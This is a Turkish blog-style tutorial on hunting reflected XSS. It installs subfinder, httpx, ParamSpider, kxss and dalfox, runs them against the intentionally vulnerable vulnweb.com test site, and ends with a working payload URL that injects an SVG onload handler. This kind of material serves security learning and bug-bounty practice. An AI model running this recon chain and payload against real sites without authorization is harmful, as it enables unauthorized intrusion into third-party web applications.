Herkese merhabalar,

XSS bulmak ile alakalı almış olduğum notları sizlerle paylaşmak istiyorum.

Çok basitten tüm kurulumları ve araçları anlatarak ilerleyeceğim.

İlk olarak go yu kurup yapılandırıyoruz.

sudo apt install -y golang

Go kurulumu tamamlandıktan sonra .bashrc ve .zshrc dosyalarına aşağıdaki satırları en sona gelecek şekile ekleyip kaydedip çıkıyoruz.

export GOROOT=/usr/lib/go
export GOPATH=$HOME/go
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH

Daha sonra aşağıdaki komutları çalıştırıyoruz.

source .bashrc
source .zshrc

Kurmamız gereken birkaç aracımız var. Bunları kuruyoruz, kurulum komutlarını aşağıda bulabilirsiniz.

Subfinder
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

Httpx
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest

Kxss
go install github.com/Emoe/kxss@latest

Dalfox
go install github.com/hahwul/dalfox/v2@latest

ParamSpider
git clone https://github.com/devanshbatham/ParamSpider
cd ParamSpider
pip3 install -r requirements.txt

Araçların kurulumunu tamamladıktan sonra, sırası ile araçlarımı kullanarak XSS bulmaya başlıyorum.

Hedef domain vulnweb.com

İlk olarak vulnweb.com a ait alt alan adları var mı kontrol ediyorum.

subfinder -d vulnweb.com -o testsub.txt

d Komutu ile hedef domaini,
-o ile çıkan sonucu txt ye kaydediyorum.

Daha sonra çıkan sonuçlardan hangilerine erişimimiz var hangilerinde 200 sonucu dönüyor hızlıca kontrol etmek için httpx aracımı kullanıyorum.

cat testsub.txt | httpx -mc 200 > 200_urls.txt

-mc statüs kodu 200 olanları > komutu ile txt ye kaydet demek.

Yukarıdaki komutta bir önce subfinder da bulduğumuz sonucu httpx aracına aktarıp statüs kodu 200 dönenleri ayrı bir dosyaya ayıkladık.

Şimdi ise bulmuş olduğum alt alan adları ve ana domain de XSS için parametreleri keşfetmek. Bunun için ParamSpider aracını kullanıyorum fakat bunu biraz otomatik hale getiriyorum ve 200_urls.txt içindeki her satır için yapıp sonuçlarını kaydetmesini istiyorum

for URL in $(<200_urls.txt); do (python3 paramspider.py -d “${URL}”);
done

Çıkan sonuçları ParamSpider içerisinde output klasöründe bulabilirsiniz.

Şimdi tüm çıkan sonuçları tek txt de toplayacağım.

cat *.txt >> sonuc.txt

Şimdi Kxss aracım ile çıkan sonuçlardaki parametlerde XSS vektörlerini buluyorum.

cat sonuc.txt | kxss

Sonuçları incelediğimizde ilgili url de p parametresinde sağ taraftaki karakterlerin filtrelenmediğini görüyorum ve çıkan sonucu Dalfox aracıma atarak varsa POC sini almak istiyorum.

http://testphp.vulnweb.com/hpp/params.php?p=FUZZ

Dalfox sonucunu incelediğimde ve bulmuş olduğu URL e tıkladığımda sonucun başarılı olduğunu görüyorum.

http://testphp.vulnweb.com/hpp/params.php?p=FUZZ%3CsVg%2Fonload%3Dconfirm%281%29+class%3Ddalfox%3E

Görmüş olduğunuz gibi XSS bulmak hiç bu kadar kolay olmamıştı.

Umarım çalışmalarınızda yardımcı olur.

Keyifli avlanmalar.

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir